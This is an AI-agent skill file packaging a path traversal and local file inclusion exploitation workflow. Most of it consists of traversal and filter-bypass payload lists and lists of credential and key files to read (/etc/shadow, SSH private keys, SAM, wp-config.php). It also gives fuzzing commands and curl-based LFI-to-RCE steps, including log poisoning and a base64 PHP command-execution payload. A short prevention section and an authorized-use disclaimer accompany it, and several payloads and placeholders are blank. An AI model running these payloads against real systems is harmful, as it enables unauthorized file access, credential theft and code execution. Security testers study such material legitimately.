--- name: file-path-traversal-v2 description: "File Path Traversal Testing workflow skill. Use this skill when the user needs Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off." version: "0.0.1" category: development tags: ["file-path-traversal-v2", "file-path-traversal", "identify", "and", "exploit", "file", "path", "traversal"] complexity: advanced risk: caution tools: ["codex-cli", "claude-code", "cursor", "gemini-cli", "opencode"] source: community author: "zebbern" date_added: "2026-04-16" date_updated: "2026-04-25" --- # File Path Traversal Testing ## Overview This public intake copy packages `plugins/antigravity-awesome-skills/skills/file-path-traversal` from `https://github.com/sickn33/antigravity-awesome-skills` into the native Omni Skills editorial shape without hiding its origin. Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow. This intake keeps the copied upstream files intact and uses the `external_source` block in `metadata.json` plus `ORIGIN.md` as the provenance anchor for review. > AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # File Path Traversal Testing Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations. ## When to Use This Skill Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request. - This skill is applicable to execute the workflow or actions described in the overview. - Use when the request clearly matches the imported source intent: Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. - Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch. - Use when provenance needs to stay visible in the answer, PR, or review packet. - Use when copied upstream references, examples, or scripts materially improve the answer. - Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over. ## Operating Table | Situation | Start here | Why it matters | | --- | --- | --- | | First-time use | `metadata.json` | Confirms repository, branch, commit, and imported path through the `external_source` block before touching the copied workflow | | Provenance review | `ORIGIN.md` | Gives reviewers a plain-language audit trail for the imported source | | Workflow execution | `SKILL.md` | Starts with the smallest copied file that materially changes execution | | Supporting context | `SKILL.md` | Adds the next most relevant copied source file without loading the entire package | | Handoff decision | `## Related Skills` | Helps the operator switch to a stronger native skill when the task drifts | ## Workflow This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow. 1. ../ sequence moves up one directory 2. Chain multiple sequences to reach root 3. Access files outside intended directory 4. Confidentiality - Read sensitive files 5. Integrity - Write/modify files (in some cases) 6. Availability - Delete files (in some cases) 7. Code Execution - If combined with file upload or log poisoning ### Imported Workflow Notes #### Imported: Core Workflow ### Phase 1: Understanding Path Traversal Path traversal occurs when applications use user input to construct file paths: ```php // Vulnerable PHP code example $template = "blue.php"; if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) { $template = $_COOKIE['template']; } include("/home/user/templates/" . $template); ``` Attack principle: - `../` sequence moves up one directory - Chain multiple sequences to reach root - Access files outside intended directory Impact: - **Confidentiality** - Read sensitive files - **Integrity** - Write/modify files (in some cases) - **Availability** - Delete files (in some cases) - **Code Execution** - If combined with file upload or log poisoning ### Phase 2: Identifying Traversal Points Map application for potential file operations: ```bash # Parameters that often handle files ?file= ?path= ?page= ?template= ?filename= ?doc= ?document= ?folder= ?dir= ?include= ?src= ?source= ?content= ?view= ?download= ?load= ?read= ?retrieve= ``` Common vulnerable functionality: - Image loading: `/image?filename=23.jpg` - Template selection: `?template=blue.php` - File downloads: `/download?file=report.pdf` - Document viewers: `/view?doc=manual.pdf` - Include mechanisms: `?page=about` ### Phase 3: Basic Exploitation Techniques #### Simple Path Traversal ```bash # Basic Linux traversal ../../../etc/passwd ../../../../etc/passwd ../../../../../etc/passwd ../../../../../../etc/passwd # Windows traversal ..\..\..\windows\win.ini ..\..\..\..\windows\system32\drivers\etc\hosts # URL encoded ..%2F..%2F..%2Fetc%2Fpasswd ..%252F..%252F..%252Fetc%252Fpasswd # Double encoding # Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd" curl "http://target.com/download?file=....//....//....//etc/passwd" ``` #### Absolute Path Injection ```bash # Direct absolute path (Linux) /etc/passwd /etc/shadow /etc/hosts /proc/self/environ # Direct absolute path (Windows) C:\windows\win.ini C:\windows\system32\drivers\etc\hosts C:\boot.ini ``` ### Phase 4: Bypass Techniques #### Bypass Stripped Traversal Sequences ```bash # When ../ is stripped once ....//....//....//etc/passwd ....\/....\/....\/etc/passwd # Nested traversal ..././..././..././etc/passwd ....//....//etc/passwd # Mixed encoding ..%2f..%2f..%2fetc/passwd %2e%2e/%2e%2e/%2e%2e/etc/passwd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ``` #### Bypass Extension Validation ```bash # Null byte injection (older PHP versions) ../../../etc/passwd%00.jpg ../../../etc/passwd%00.png # Path truncation ../../../etc/passwd............................... # Double extension ../../../etc/passwd.jpg.php ``` #### Bypass Base Directory Validation ```bash # When path must start with expected directory /var/www/images/../../../etc/passwd # Expected path followed by traversal images/../../../etc/passwd ``` #### Bypass Blacklist Filters ```bash # Unicode/UTF-8 encoding ..%c0%af..%c0%af..%c0%afetc/passwd ..%c1%9c..%c1%9c..%c1%9cetc/passwd # Overlong UTF-8 encoding %c0%2e%c0%2e%c0%af # URL encoding variations %2e%2e/ %2e%2e%5c ..%5c ..%255c # Case variations (Windows) ....\\....\\etc\\passwd ``` ### Phase 5: Linux Target Files High-value files to target: ```bash # System files /etc/passwd # User accounts /etc/shadow # Password hashes (root only) /etc/group # Group information /etc/hosts # Host mappings /etc/hostname # System hostname /etc/issue # System banner # SSH files /root/.ssh/id_rsa # Root private key /root/.ssh/authorized_keys # Authorized keys /home//.ssh/id_rsa # User private keys /etc/ssh/sshd_config # SSH configuration # Web server files /etc/apache2/apache2.conf /etc/nginx/nginx.conf /etc/apache2/sites-enabled/000-default.conf /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log # Application files /var/www/html/config.php /var/www/html/wp-config.php /var/www/html/.htaccess /var/www/html/web.config # Process information /proc/self/environ # Environment variables /proc/self/cmdline # Process command line /proc/self/fd/0 # File descriptors /proc/version # Kernel version # Common application configs /etc/mysql/my.cnf /etc/postgresql/*/postgresql.conf /opt/lampp/etc/httpd.conf ``` ### Phase 6: Windows Target Files Windows-specific targets: ```bash # System files C:\windows\win.ini C:\windows\system.ini C:\boot.ini C:\windows\system32\drivers\etc\hosts C:\windows\system32\config\SAM C:\windows\repair\SAM # IIS files C:\inetpub\wwwroot\web.config C:\inetpub\logs\LogFiles\W3SVC1\ # Configuration files C:\xampp\apache\conf\httpd.conf C:\xampp\mysql\data\mysql\user.MYD C:\xampp\passwords.txt C:\xampp\phpmyadmin\config.inc.php # User files C:\Users\\.ssh\id_rsa C:\Users\\Desktop\ C:\Documents and Settings\\ ``` ### Phase 7: Automated Testing #### Using Burp Suite ``` 1. Capture request with file parameter 2. Send to Intruder 3. Mark file parameter value as payload position 4. Load path traversal wordlist 5. Start attack 6. Filter responses by size/content for success ``` #### Using ffuf ```bash # Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \ -w /usr/share/wordlists/traversal.txt \ -mc 200 # Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ -mc 200,500 -ac ``` #### Using wfuzz ```bash # Traverse to /etc/passwd wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ --hc 404 \ "http://target.com/index.php?file=FUZZ" # With headers/cookies wfuzz -c -z file,traversal.txt \ -H "Cookie: session=abc123" \ "http://target.com/load?path=FUZZ" ``` ### Phase 8: LFI to RCE Escalation #### Log Poisoning ```bash # Inject PHP code into logs curl -A "" http://target.com/ # Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" # Include auth.log (SSH) # First: ssh ''@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" ``` #### Proc/self/environ ```bash # Inject via User-Agent curl -A "" \ "http://target.com/page?file=/proc/self/environ" # With command parameter curl -A "" \ "http://target.com/page?file=/proc/self/environ&c=whoami" ``` #### PHP Wrapper Exploitation ```bash # php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" # php://input - Execute POST data as PHP curl -X POST -d "" \ "http://target.com/page?file=php://input" # data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" # expect:// - Execute system commands curl "http://target.com/page?file=expect://id" ``` ### Phase 9: Testing Methodology Structured testing approach: ```bash # Step 1: Identify potential parameters # Look for file-related functionality # Step 2: Test basic traversal ../../../etc/passwd # Step 3: Test encoding variations ..%2F..%2F..%2Fetc%2Fpasswd %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # Step 4: Test bypass techniques ....//....//....//etc/passwd ..;/..;/..;/etc/passwd # Step 5: Test absolute paths /etc/passwd # Step 6: Test with null bytes (legacy) ../../../etc/passwd%00.jpg # Step 7: Attempt wrapper exploitation php://filter/convert.base64-encode/resource=index.php # Step 8: Attempt log poisoning for RCE ``` ### Phase 10: Prevention Measures Secure coding practices: ```php // PHP: Use basename() to strip paths $filename = basename($_GET['file']); $path = "/var/www/files/" . $filename; // PHP: Validate against whitelist $allowed = ['report.pdf', 'manual.pdf', 'guide.pdf']; if (in_array($_GET['file'], $allowed)) { include("/var/www/files/" . $_GET['file']); } // PHP: Canonicalize and verify base path $base = "/var/www/files/"; $realBase = realpath($base); $userPath = $base . $_GET['file']; $realUserPath = realpath($userPath); if ($realUserPath && strpos($realUserPath, $realBase) === 0) { include($realUserPath); } ``` ```python # Python: Use os.path.realpath() and validate import os def safe_file_access(base_dir, filename): # Resolve to absolute path base = os.path.realpath(base_dir) file_path = os.path.realpath(os.path.join(base, filename)) # Verify file is within base directory if file_path.startswith(base): return open(file_path, 'r').read() else: raise Exception("Access denied") ``` #### Imported: Purpose Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation. ## Examples ### Example 1: Ask for the upstream workflow directly ```text Use @file-path-traversal-v2 to handle . Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer. ``` **Explanation:** This is the safest starting point when the operator needs the imported workflow, but not the entire repository. ### Example 2: Ask for a provenance-grounded review ```text Review @file-path-traversal-v2 against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why. ``` **Explanation:** Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection. ### Example 3: Narrow the copied support files before execution ```text Use @file-path-traversal-v2 for . Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding. ``` **Explanation:** This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default. ### Example 4: Build a reviewer packet ```text Review @file-path-traversal-v2 using the copied upstream files plus provenance, then summarize any gaps before merge. ``` **Explanation:** This is useful when the PR is waiting for human review and you want a repeatable audit packet. ## Best Practices Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution. - Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support. - Prefer the smallest useful set of support files so the workflow stays auditable and fast to review. - Keep provenance, source commit, and imported file paths visible in notes and PR descriptions. - Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate. - Treat generated examples as scaffolding; adapt them to the concrete task before execution. - Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant. ## Troubleshooting ### Problem: The operator skipped the imported context and answered too generically **Symptoms:** The result ignores the upstream workflow in `plugins/antigravity-awesome-skills/skills/file-path-traversal`, fails to mention provenance, or does not use any copied source files at all. **Solution:** Re-open `metadata.json`, `ORIGIN.md`, and the most relevant copied upstream files. Check the `external_source` block first, then restate the provenance before continuing. ### Problem: The imported workflow feels incomplete during review **Symptoms:** Reviewers can see the generated `SKILL.md`, but they cannot quickly tell which references, examples, or scripts matter for the current task. **Solution:** Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it. ### Problem: The task drifted into a different specialization **Symptoms:** The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. **Solution:** Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind. ### Imported Troubleshooting Notes #### Imported: Troubleshooting | Problem | Solutions | |---------|-----------| | No response difference | Try encoding, blind traversal, different files | | Payload blocked | Use encoding variants, nested sequences, case variations | | Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning | ## Related Skills - `@00-andruia-consultant` - Use when the work is better handled by that native specialization after this imported skill establishes context. - `@00-andruia-consultant-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context. - `@10-andruia-skill-smith` - Use when the work is better handled by that native specialization after this imported skill establishes context. - `@10-andruia-skill-smith-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context. ## Additional Resources Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding. | Resource family | What it gives the reviewer | Example path | | --- | --- | --- | | `references` | copied reference notes, guides, or background material from upstream | `references/n/a` | | `examples` | worked examples or reusable prompts copied from upstream | `examples/n/a` | | `scripts` | upstream helper scripts that change execution or validation | `scripts/n/a` | | `agents` | routing or delegation notes that are genuinely part of the imported package | `agents/n/a` | | `assets` | supporting assets or schemas copied from the source package | `assets/n/a` | ### Imported Reference Notes #### Imported: Quick Reference ### Common Payloads | Payload | Target | |---------|--------| | `../../../etc/passwd` | Linux password file | | `..\..\..\..\windows\win.ini` | Windows INI file | | `....//....//....//etc/passwd` | Bypass simple filter | | `/etc/passwd` | Absolute path | | `php://filter/convert.base64-encode/resource=config.php` | Source code | ### Target Files | OS | File | Purpose | |----|------|---------| | Linux | `/etc/passwd` | User accounts | | Linux | `/etc/shadow` | Password hashes | | Linux | `/proc/self/environ` | Environment vars | | Windows | `C:\windows\win.ini` | System config | | Windows | `C:\boot.ini` | Boot config | | Web | `wp-config.php` | WordPress DB creds | ### Encoding Variants | Type | Example | |------|---------| | URL Encoding | `%2e%2e%2f` = `../` | | Double Encoding | `%252e%252e%252f` = `../` | | Unicode | `%c0%af` = `/` | | Null Byte | `%00` | #### Imported: Prerequisites ### Required Tools - Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation - ffuf or wfuzz for fuzzing ### Required Knowledge - HTTP request/response structure - Linux and Windows filesystem layout - Web application architecture - Basic understanding of file APIs #### Imported: Outputs and Deliverables 1. **Vulnerability Report** - Identified traversal points and severity 2. **Exploitation Proof** - Extracted file contents 3. **Impact Assessment** - Accessible files and data exposure 4. **Remediation Guidance** - Secure coding recommendations #### Imported: Constraints and Limitations ### Permission Restrictions - Cannot read files application user cannot access - Shadow file requires root privileges - Many files have restrictive permissions ### Application Restrictions - Extension validation may limit file types - Base path validation may restrict scope - WAF may block common payloads ### Testing Considerations - Respect authorized scope - Avoid accessing genuinely sensitive data - Document all successful access